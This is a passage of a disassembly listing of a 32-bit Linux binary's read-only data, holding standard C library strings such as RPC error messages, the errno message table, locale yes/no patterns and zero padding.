aRpcPortMapperF	db 'RPC: Port mapper failure',0
aRpcUnknownProt	db 'RPC: Unknown protocol',0
aRpcUnknownHost	db 'RPC: Unknown host',0
aRpcRemoteSyste	db 'RPC: Remote system error',0
aRpcServerCanTD	db 'RPC: Server can',27h,'t decode arguments',0
aRpcProcedureUn	db 'RPC: Procedure unavailable',0
aRpcProgramVers	db 'RPC: Program/version mismatch',0
aRpcProgramUnav	db 'RPC: Program unavailable',0
aRpcAuthenticat	db 'RPC: Authentication error',0
aRpcIncompatibl	db 'RPC: Incompatible versions of RPC',0
aRpcTimedOut	db 'RPC: Timed out',0
aRpcUnableToRec	db 'RPC: Unable to receive',0
aRpcUnableToSen	db 'RPC: Unable to send',0
aRpcCanTDecodeR	db 'RPC: Can',27h,'t decode result',0
aRpcCanTEncodeA	db 'RPC: Can',27h,'t encode arguments',0
aRpcSuccess	db 'RPC: Success',0
aRpcUnknownErro	db 'RPC: (unknown error code)',0 ; DATA XREF: sub_80638B8+62o
asc_806AD30	db ' - ',0              ; DATA XREF: clnt_spcreateerror+55o
					; clnt_spcreateerror+78o
aErrorD		db 'Error %d',0         ; DATA XREF: clnt_spcreateerror+CAo
aFailedUnspecif	db 'Failed (unspecified error)',0
aInvalidServerV	db 'Invalid server verifier',0
aClientCredenti	db 'Client credential too weak',0
aServerReject_0	db 'Server rejected verifier',0
aInvalidClientV	db 'Invalid client verifier',0
aServerReject_1	db 'Server rejected credential',0
aInvalidClientC	db 'Invalid client credential',0
aAuthentication	db 'Authentication OK',0
aOutOfMemory	db 'out of memory',0    ; DATA XREF: clnttcp_create+33o
aClnttcp_crea_0	db 'clnttcp_create: %s',0Ah,0 ; DATA XREF: clnttcp_create+48o
aOutOfMemory_0	db 'out of memory',0    ; DATA XREF: clntudp_bufcreate+46o
aClntudp_create	db 'clntudp_create: %s',0Ah,0 ; DATA XREF: clntudp_bufcreate+5Co
aOutOfMemory_1	db 'out of memory',0    ; DATA XREF: sub_80651B8+6Co
					; sub_8065304+81o
aXdr_bytesS	db 'xdr_bytes: %s',0Ah,0 ; DATA XREF: sub_80651B8+81o
aXdr_stringS	db 'xdr_string: %s',0Ah,0 ; DATA XREF: sub_8065304+96o
aOutOfMemory_2	db 'out of memory',0    ; DATA XREF: sub_8065750+4Bo
aXdrrec_createS	db 'xdrrec_create: %s',0Ah,0 ; DATA XREF: sub_8065750+60o
		align 4
dword_806AE98	dd 806BBAAh		; DATA XREF: _strerror_internal+2Cr
					; _IO_perror+3Dr ...
		dd offset aOperationNotPe ; "Operation not permitted"
		dd offset aNoSuchFileOrDi ; "No	such file or directory"
		dd offset aNoSuchProcess ; "No such process"
		dd offset aInterruptedSys ; "Interrupted system	call"
		dd offset aIOError	; "I/O error"
		dd offset aNoSuchDeviceOr ; "No	such device or address"
		dd offset aArgListTooLong ; "Arg list too long"
		dd offset aExecFormatErro ; "Exec format error"
		dd offset aBadFileNumber ; "Bad	file number"
		dd offset aNoChildProcess ; "No	child processes"
		dd offset aTryAgain	; "Try again"
		dd offset aOutOfMemory_4 ; "Out	of memory"
		dd offset aPermissionDeni ; "Permission	denied"
		dd offset aBadAddress	; "Bad address"
		dd offset aBlockDeviceReq ; "Block device required"
		dd offset aDeviceOrResour ; "Device or resource	busy"
		dd offset aFileExists	; "File	exists"
		dd offset aCrossDeviceLin ; "Cross-device link"
		dd offset aNoSuchDevice	; "No such device"
		dd offset aNotADirectory ; "Not	a directory"
		dd offset aIsADirectory	; "Is a	directory"
		dd offset aInvalidArgumen ; "Invalid argument"
		dd offset aFileTableOverf ; "File table	overflow"
		dd offset aTooManyOpenFil ; "Too many open files"
		dd offset aNotATypewriter ; "Not a typewriter"
		dd offset aTextFileBusy	; "Text	file busy"
		dd offset aFileTooLarge	; "File	too large"
		dd offset aNoSpaceLeftOnD ; "No	space left on device"
		dd offset aIllegalSeek	; "Illegal seek"
		dd offset aReadOnlyFileSy ; "Read-only file system"
		dd offset aTooManyLinks	; "Too many links"
		dd offset aBrokenPipe	; "Broken pipe"
		dd offset aMathArgumentOu ; "Math argument out of domain of func"
		dd offset aMathResultNotR ; "Math result not representable"
		dd offset aResourceDeadlo ; "Resource deadlock would occur"
		dd offset aFileNameTooLon ; "File name too long"
		dd offset aNoRecordLocksA ; "No	record locks available"
		dd offset aFunctionNotImp ; "Function not implemented"
		dd offset aDirectoryNotEm ; "Directory not empty"
		dd offset aTooManySymboli ; "Too many symbolic links encountered"
		dd offset aOperationWould ; "Operation would block"
		dd offset aNoMessageOfDes ; "No	message	of desired type"
		dd offset aIdentifierRemo ; "Identifier	removed"
		dd offset aChannelNumberO ; "Channel number out	of range"
		dd offset aLevel2NotSynch ; "Level 2 not synchronized"
		dd offset aLevel3Halted	; "Level 3 halted"
		dd offset aLevel3Reset	; "Level 3 reset"
		dd offset aLinkNumberOutO ; "Link number out of	range"
		dd offset aProtocolDriver ; "Protocol driver not attached"
		dd offset aNoCsiStructure ; "No	CSI structure available"
		dd offset aLevel2Halted	; "Level 2 halted"
		dd offset aInvalidExchang ; "Invalid exchange"
		dd offset aInvalidRequest ; "Invalid request descriptor"
		dd offset aExchangeFull	; "Exchange full"
		dd offset aNoAnode	; "No anode"
		dd offset aInvalidReque_0 ; "Invalid request code"
		dd offset aInvalidSlot	; "Invalid slot"
		dd offset aFileLockingDea ; "File locking deadlock error"
		dd offset aBadFontFileFor ; "Bad font file format"
		dd offset aDeviceNotAStre ; "Device not	a stream"
		dd offset aNoDataAvailabl ; "No	data available"
		dd offset aTimerExpired	; "Timer expired"
		dd offset aOutOfStreamsRe ; "Out of streams resources"
		dd offset aMachineIsNotOn ; "Machine is	not on the network"
		dd offset aPackageNotInst ; "Package not installed"
		dd offset aObjectIsRemote ; "Object is remote"
		dd offset aLinkHasBeenSev ; "Link has been severed"
		dd offset aAdvertiseError ; "Advertise error"
		dd offset aSrmountError	; "Srmount error"
		dd offset aCommunicationE ; "Communication error on send"
		dd offset aProtocolError ; "Protocol error"
		dd offset aMultihopAttemp ; "Multihop attempted"
		dd offset aRfsSpecificErr ; "RFS specific error"
		dd offset aNotADataMessag ; "Not a data	message"
		dd offset aValueTooLargeF ; "Value too large for defined data type"
		dd offset aNameNotUniqueO ; "Name not unique on	network"
		dd offset aFileDescriptor ; "File descriptor in	bad state"
		dd offset aRemoteAddressC ; "Remote address changed"
		dd offset aCanNotAccessAN ; "Can not access a needed shared library"
		dd offset aAccessingACorr ; "Accessing a corrupted shared library"
		dd offset a_libSectionInA ; ".lib section in a.out corrupted"
		dd offset aAttemptingToLi ; "Attempting	to link	in too many shared l"...
		dd offset aCannotExecASha ; "Cannot exec a shared library directly"
		dd offset aIllegalByteSeq ; "Illegal byte sequence"
		dd offset aInterruptedS_0 ; "Interrupted system	call should be resta"...
		dd offset aStreamsPipeErr ; "Streams pipe error"
		dd offset aTooManyUsers	; "Too many users"
		dd offset aSocketOperatio ; "Socket operation on non-socket"
		dd offset aDestinationAdd ; "Destination address required"
		dd offset aMessageTooLong ; "Message too long"
		dd offset aProtocolWrongT ; "Protocol wrong type for socket"
		dd offset aProtocolNotAva ; "Protocol not available"
		dd offset aProtocolNotSup ; "Protocol not supported"
		dd offset aSocketTypeNotS ; "Socket type not supported"
		dd offset aOperationNotSu ; "Operation not supported on	transport en"...
		dd offset aProtocolFamily ; "Protocol family not supported"
		dd offset aAddressFamilyN ; "Address family not	supported by protoco"...
		dd offset aAddressAlready ; "Address already in	use"
		dd offset aCannotAssignRe ; "Cannot assign requested address"
		dd offset aNetworkIsDown ; "Network is down"
		dd offset aNetworkIsUnrea ; "Network is	unreachable"
		dd offset aNetworkDropped ; "Network dropped connection	because	of r"...
		dd offset aSoftwareCaused ; "Software caused connection	abort"
		dd offset aConnectionRese ; "Connection	reset by peer"
		dd offset aNoBufferSpaceA ; "No	buffer space available"
		dd offset aTransportEndpo ; "Transport endpoint	is already connected"
		dd offset aTransportEnd_0 ; "Transport endpoint	is not connected"
		dd offset aCannotSendAfte ; "Cannot send after transport endpoint sh"...
		dd offset aTooManyReferen ; "Too many references: cannot splice"
		dd offset aConnectionTime ; "Connection	timed out"
		dd offset aConnectionRefu ; "Connection	refused"
		dd offset aHostIsDown	; "Host	is down"
		dd offset aNoRouteToHost ; "No route to	host"
		dd offset aOperationAlrea ; "Operation already in progress"
		dd offset aOperationNowIn ; "Operation now in progress"
		dd offset aStaleNfsFileHa ; "Stale NFS file handle"
		dd offset aStructureNeeds ; "Structure needs cleaning"
		dd offset aNotAXenixNamed ; "Not a XENIX named type file"
		dd offset aNoXenixSemapho ; "No	XENIX semaphores available"
		dd offset aIsANamedTypeFi ; "Is	a named	type file"
		dd offset aRemoteIOError ; "Remote I/O error"
		dd offset aQuotaExceeded ; "Quota exceeded"
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
aQuotaExceeded	db 'Quota exceeded',0   ; DATA XREF: .rodata:0806B080o
aRemoteIOError	db 'Remote I/O error',0 ; DATA XREF: .rodata:0806B07Co
aIsANamedTypeFi	db 'Is a named type file',0 ; DATA XREF: .rodata:0806B078o
aNoXenixSemapho	db 'No XENIX semaphores available',0 ; DATA XREF: .rodata:0806B074o
aNotAXenixNamed	db 'Not a XENIX named type file',0 ; DATA XREF: .rodata:0806B070o
aStructureNeeds	db 'Structure needs cleaning',0 ; DATA XREF: .rodata:0806B06Co
aStaleNfsFileHa	db 'Stale NFS file handle',0 ; DATA XREF: .rodata:0806B068o
aOperationNowIn	db 'Operation now in progress',0 ; DATA XREF: .rodata:0806B064o
aOperationAlrea	db 'Operation already in progress',0 ; DATA XREF: .rodata:0806B060o
aNoRouteToHost	db 'No route to host',0 ; DATA XREF: .rodata:0806B05Co
aHostIsDown	db 'Host is down',0     ; DATA XREF: .rodata:0806B058o
aConnectionRefu	db 'Connection refused',0 ; DATA XREF: .rodata:0806B054o
aConnectionTime	db 'Connection timed out',0 ; DATA XREF: .rodata:0806B050o
aTooManyReferen	db 'Too many references: cannot splice',0 ; DATA XREF: .rodata:0806B04Co
aCannotSendAfte	db 'Cannot send after transport endpoint shutdown',0
					; DATA XREF: .rodata:0806B048o
aTransportEnd_0	db 'Transport endpoint is not connected',0 ; DATA XREF: .rodata:0806B044o
aTransportEndpo	db 'Transport endpoint is already connected',0
					; DATA XREF: .rodata:0806B040o
aNoBufferSpaceA	db 'No buffer space available',0 ; DATA XREF: .rodata:0806B03Co
aConnectionRese	db 'Connection reset by peer',0 ; DATA XREF: .rodata:0806B038o
aSoftwareCaused	db 'Software caused connection abort',0 ; DATA XREF: .rodata:0806B034o
aNetworkDropped	db 'Network dropped connection because of reset',0
					; DATA XREF: .rodata:0806B030o
aNetworkIsUnrea	db 'Network is unreachable',0 ; DATA XREF: .rodata:0806B02Co
aNetworkIsDown	db 'Network is down',0  ; DATA XREF: .rodata:0806B028o
aCannotAssignRe	db 'Cannot assign requested address',0 ; DATA XREF: .rodata:0806B024o
aAddressAlready	db 'Address already in use',0 ; DATA XREF: .rodata:0806B020o
aAddressFamilyN	db 'Address family not supported by protocol',0
					; DATA XREF: .rodata:0806B01Co
aProtocolFamily	db 'Protocol family not supported',0 ; DATA XREF: .rodata:0806B018o
aOperationNotSu	db 'Operation not supported on transport endpoint',0
					; DATA XREF: .rodata:0806B014o
aSocketTypeNotS	db 'Socket type not supported',0 ; DATA XREF: .rodata:0806B010o
aProtocolNotSup	db 'Protocol not supported',0 ; DATA XREF: .rodata:0806B00Co
aProtocolNotAva	db 'Protocol not available',0 ; DATA XREF: .rodata:0806B008o
aProtocolWrongT	db 'Protocol wrong type for socket',0 ; DATA XREF: .rodata:0806B004o
aMessageTooLong	db 'Message too long',0 ; DATA XREF: .rodata:0806B000o
aDestinationAdd	db 'Destination address required',0 ; DATA XREF: .rodata:0806AFFCo
aSocketOperatio	db 'Socket operation on non-socket',0 ; DATA XREF: .rodata:0806AFF8o
aTooManyUsers	db 'Too many users',0   ; DATA XREF: .rodata:0806AFF4o
aStreamsPipeErr	db 'Streams pipe error',0 ; DATA XREF: .rodata:0806AFF0o
aInterruptedS_0	db 'Interrupted system call should be restarted',0
					; DATA XREF: .rodata:0806AFECo
aIllegalByteSeq	db 'Illegal byte sequence',0 ; DATA XREF: .rodata:0806AFE8o
aCannotExecASha	db 'Cannot exec a shared library directly',0 ; DATA XREF: .rodata:0806AFE4o
aAttemptingToLi	db 'Attempting to link in too many shared libraries',0
					; DATA XREF: .rodata:0806AFE0o
a_libSectionInA	db '.lib section in a.out corrupted',0 ; DATA XREF: .rodata:0806AFDCo
aAccessingACorr	db 'Accessing a corrupted shared library',0 ; DATA XREF: .rodata:0806AFD8o
aCanNotAccessAN	db 'Can not access a needed shared library',0 ; DATA XREF: .rodata:0806AFD4o
aRemoteAddressC	db 'Remote address changed',0 ; DATA XREF: .rodata:0806AFD0o
aFileDescriptor	db 'File descriptor in bad state',0 ; DATA XREF: .rodata:0806AFCCo
aNameNotUniqueO	db 'Name not unique on network',0 ; DATA XREF: .rodata:0806AFC8o
aValueTooLargeF	db 'Value too large for defined data type',0 ; DATA XREF: .rodata:0806AFC4o
aNotADataMessag	db 'Not a data message',0 ; DATA XREF: .rodata:0806AFC0o
aRfsSpecificErr	db 'RFS specific error',0 ; DATA XREF: .rodata:0806AFBCo
aMultihopAttemp	db 'Multihop attempted',0 ; DATA XREF: .rodata:0806AFB8o
aProtocolError	db 'Protocol error',0   ; DATA XREF: .rodata:0806AFB4o
aCommunicationE	db 'Communication error on send',0 ; DATA XREF: .rodata:0806AFB0o
aSrmountError	db 'Srmount error',0    ; DATA XREF: .rodata:0806AFACo
aAdvertiseError	db 'Advertise error',0  ; DATA XREF: .rodata:0806AFA8o
aLinkHasBeenSev	db 'Link has been severed',0 ; DATA XREF: .rodata:0806AFA4o
aObjectIsRemote	db 'Object is remote',0 ; DATA XREF: .rodata:0806AFA0o
aPackageNotInst	db 'Package not installed',0 ; DATA XREF: .rodata:0806AF9Co
aMachineIsNotOn	db 'Machine is not on the network',0 ; DATA XREF: .rodata:0806AF98o
aOutOfStreamsRe	db 'Out of streams resources',0 ; DATA XREF: .rodata:0806AF94o
aTimerExpired	db 'Timer expired',0    ; DATA XREF: .rodata:0806AF90o
aNoDataAvailabl	db 'No data available',0 ; DATA XREF: .rodata:0806AF8Co
aDeviceNotAStre	db 'Device not a stream',0 ; DATA XREF: .rodata:0806AF88o
aBadFontFileFor	db 'Bad font file format',0 ; DATA XREF: .rodata:0806AF84o
aFileLockingDea	db 'File locking deadlock error',0 ; DATA XREF: .rodata:0806AF80o
aInvalidSlot	db 'Invalid slot',0     ; DATA XREF: .rodata:0806AF7Co
aInvalidReque_0	db 'Invalid request code',0 ; DATA XREF: .rodata:0806AF78o
aNoAnode	db 'No anode',0         ; DATA XREF: .rodata:0806AF74o
aExchangeFull	db 'Exchange full',0    ; DATA XREF: .rodata:0806AF70o
aInvalidRequest	db 'Invalid request descriptor',0 ; DATA XREF: .rodata:0806AF6Co
aInvalidExchang	db 'Invalid exchange',0 ; DATA XREF: .rodata:0806AF68o
aLevel2Halted	db 'Level 2 halted',0   ; DATA XREF: .rodata:0806AF64o
aNoCsiStructure	db 'No CSI structure available',0 ; DATA XREF: .rodata:0806AF60o
aProtocolDriver	db 'Protocol driver not attached',0 ; DATA XREF: .rodata:0806AF5Co
aLinkNumberOutO	db 'Link number out of range',0 ; DATA XREF: .rodata:0806AF58o
aLevel3Reset	db 'Level 3 reset',0    ; DATA XREF: .rodata:0806AF54o
aLevel3Halted	db 'Level 3 halted',0   ; DATA XREF: .rodata:0806AF50o
aLevel2NotSynch	db 'Level 2 not synchronized',0 ; DATA XREF: .rodata:0806AF4Co
aChannelNumberO	db 'Channel number out of range',0 ; DATA XREF: .rodata:0806AF48o
aIdentifierRemo	db 'Identifier removed',0 ; DATA XREF: .rodata:0806AF44o
aNoMessageOfDes	db 'No message of desired type',0 ; DATA XREF: .rodata:0806AF40o
aOperationWould	db 'Operation would block',0 ; DATA XREF: .rodata:0806AF3Co
aTooManySymboli	db 'Too many symbolic links encountered',0 ; DATA XREF: .rodata:0806AF38o
aDirectoryNotEm	db 'Directory not empty',0 ; DATA XREF: .rodata:0806AF34o
aFunctionNotImp	db 'Function not implemented',0 ; DATA XREF: .rodata:0806AF30o
aNoRecordLocksA	db 'No record locks available',0 ; DATA XREF: .rodata:0806AF2Co
aFileNameTooLon	db 'File name too long',0 ; DATA XREF: .rodata:0806AF28o
aResourceDeadlo	db 'Resource deadlock would occur',0 ; DATA XREF: .rodata:0806AF24o
aMathResultNotR	db 'Math result not representable',0 ; DATA XREF: .rodata:0806AF20o
aMathArgumentOu	db 'Math argument out of domain of func',0 ; DATA XREF: .rodata:0806AF1Co
aBrokenPipe	db 'Broken pipe',0      ; DATA XREF: .rodata:0806AF18o
aTooManyLinks	db 'Too many links',0   ; DATA XREF: .rodata:0806AF14o
aReadOnlyFileSy	db 'Read-only file system',0 ; DATA XREF: .rodata:0806AF10o
aIllegalSeek	db 'Illegal seek',0     ; DATA XREF: .rodata:0806AF0Co
aNoSpaceLeftOnD	db 'No space left on device',0 ; DATA XREF: .rodata:0806AF08o
aFileTooLarge	db 'File too large',0   ; DATA XREF: .rodata:0806AF04o
aTextFileBusy	db 'Text file busy',0   ; DATA XREF: .rodata:0806AF00o
aNotATypewriter	db 'Not a typewriter',0 ; DATA XREF: .rodata:0806AEFCo
aTooManyOpenFil	db 'Too many open files',0 ; DATA XREF: .rodata:0806AEF8o
aFileTableOverf	db 'File table overflow',0 ; DATA XREF: .rodata:0806AEF4o
aInvalidArgumen	db 'Invalid argument',0 ; DATA XREF: .rodata:0806AEF0o
aIsADirectory	db 'Is a directory',0   ; DATA XREF: .rodata:0806AEECo
aNotADirectory	db 'Not a directory',0  ; DATA XREF: .rodata:0806AEE8o
aNoSuchDevice	db 'No such device',0   ; DATA XREF: .rodata:0806AEE4o
aCrossDeviceLin	db 'Cross-device link',0 ; DATA XREF: .rodata:0806AEE0o
aFileExists	db 'File exists',0      ; DATA XREF: .rodata:0806AEDCo
aDeviceOrResour	db 'Device or resource busy',0 ; DATA XREF: .rodata:0806AED8o
aBlockDeviceReq	db 'Block device required',0 ; DATA XREF: .rodata:0806AED4o
aBadAddress	db 'Bad address',0      ; DATA XREF: .rodata:0806AED0o
aPermissionDeni	db 'Permission denied',0 ; DATA XREF: .rodata:0806AECCo
aOutOfMemory_4	db 'Out of memory',0    ; DATA XREF: .rodata:0806AEC8o
aTryAgain	db 'Try again',0        ; DATA XREF: .rodata:0806AEC4o
aNoChildProcess	db 'No child processes',0 ; DATA XREF: .rodata:0806AEC0o
aBadFileNumber	db 'Bad file number',0  ; DATA XREF: .rodata:0806AEBCo
aExecFormatErro	db 'Exec format error',0 ; DATA XREF: .rodata:0806AEB8o
aArgListTooLong	db 'Arg list too long',0 ; DATA XREF: .rodata:0806AEB4o
aNoSuchDeviceOr	db 'No such device or address',0 ; DATA XREF: .rodata:0806AEB0o
aIOError	db 'I/O error',0        ; DATA XREF: .rodata:0806AEACo
aInterruptedSys	db 'Interrupted system call',0 ; DATA XREF: .rodata:0806AEA8o
aNoSuchProcess	db 'No such process',0  ; DATA XREF: .rodata:0806AEA4o
aNoSuchFileOrDi	db 'No such file or directory',0 ; DATA XREF: .rodata:0806AEA0o
aOperationNotPe	db 'Operation not permitted',0 ; DATA XREF: .rodata:0806AE9Co
aUnknownError_0	db 'Unknown error',0
dword_806BBB8	dd 7Bh			; DATA XREF: _strerror_internal+14r
					; _IO_perror+35r ...
unk_806BBBC	db    0	;		; DATA XREF: .rodata:0806AA28o
					; .data:08079284o
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
unk_806BBC8	db    0	;		; DATA XREF: .rodata:0806AA2Co
					; .data:08079290o
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  0Fh	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  12h	;  
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db  12h	;  
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db  12h	;  
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db  12h	;  
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db  10h	;  
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db  12h	;  
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db  12h	;  
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db  10h	;  
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db  10h	;  
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db  10h	;  
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db  10h	;  
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db  10h	;  
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db  10h	;  
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db  10h	;  
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db  10h	;  
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db  7Fh	; 
		db    0	;  
		db    0	;  
		db    0	;  
unk_806BC14	db    0	;		; DATA XREF: .rodata:0806AA30o
					; .data:0807928Co
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    4	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  41h	; A
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db  31h	; 1
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db  30h	; 0
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db  30h	; 0
		db 0BCh	; ╪
		db    6	;  
		db    8	;  
		db    0	;  
		db  5Bh	; [
		db  6Eh	; n
		db  4Eh	; N
		db  5Dh	; ]
		db  5Bh	; [
		db  5Bh	; [
		db  3Ah	; :
		db  61h	; a
		db  6Ch	; l
		db  70h	; p
		db  68h	; h
		db  61h	; a
		db  3Ah	; :
		db  5Dh	; ]
		db  5Dh	; ]
		db    0	;  
		db  5Bh	; [
		db  79h	; y
		db  59h	; Y
		db  5Dh	; ]
		db  5Bh	; [
		db  5Bh	; [
		db  3Ah	; :
		db  61h	; a
		db  6Ch	; l
		db  70h	; p
		db  68h	; h
		db  61h	; a
		db  3Ah	; :
		db  5Dh	; ]
		db  5Dh	; ]
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
unk_806BC54	db    0	;		; DATA XREF: .rodata:0806AA24o
					; .data:08079294o
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  93h	; ⌠
		db    0	;  
		db    0	;  
		db    0	;  
		db 0ACh	; ╛
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db 0A8h	; ╗
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db 0A4h	; є
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db 0A0h	; ═
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  9Ch	; °
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  98h	; ≤
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  94h	; ■
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  8Dh	; █
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  86h	; ├
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  7Eh	; ~
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  74h	; t
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  6Bh	; k
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  64h	; d
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  5Bh	; [
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  57h	; W
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  53h	; S
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  4Fh	; O
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  4Bh	; K
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  47h	; G
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  43h	; C
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  3Fh	; ?
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  3Bh	; ;
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  37h	; 7
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  33h	; 3
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  2Fh	; /
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  2Bh	; +
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  23h	; #
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  1Ah	;  
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  14h	;  
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  0Eh	;  
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db  47h	; G
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db    9	;  
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db    4	;  
		db 0BFh	; ©
		db    6	;  
		db    8	;  
		db 0FDh	; Щ
		db 0BEh	; Ў
		db    6	;  
		db    8	;  
		db 0F3h	; С
		db 0BEh	; Ў
		db    6	;  
		db    8	;  
		db 0EBh	; К
		db 0BEh	; Ў
		db    6	;  
		db    8	;  
		db 0E2h	; Б
		db 0BEh	; Ў
		db    6	;  
		db    8	;  
		db 0D9h	; ы
		db 0BEh	; Ў
		db    6	;  
		db    8	;  
		db 0D6h	; ж
		db 0BEh	; Ў
		db    6	;  
		db    8	;  
		db 0D3h	; с
		db 0BEh	; Ў
		db    6	;  
		db    8	;  
		db 0BEh	; Ў
		db 0BEh	; Ў
		db    6	;  
		db    8	;  
		db 0B5h	; ╣
		db 0BEh	; Ў
		db    6	;  
		db    8	;  
		db 0ACh	; ╛
		db 0BEh	; Ў
		db    6	;  
		db    8	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
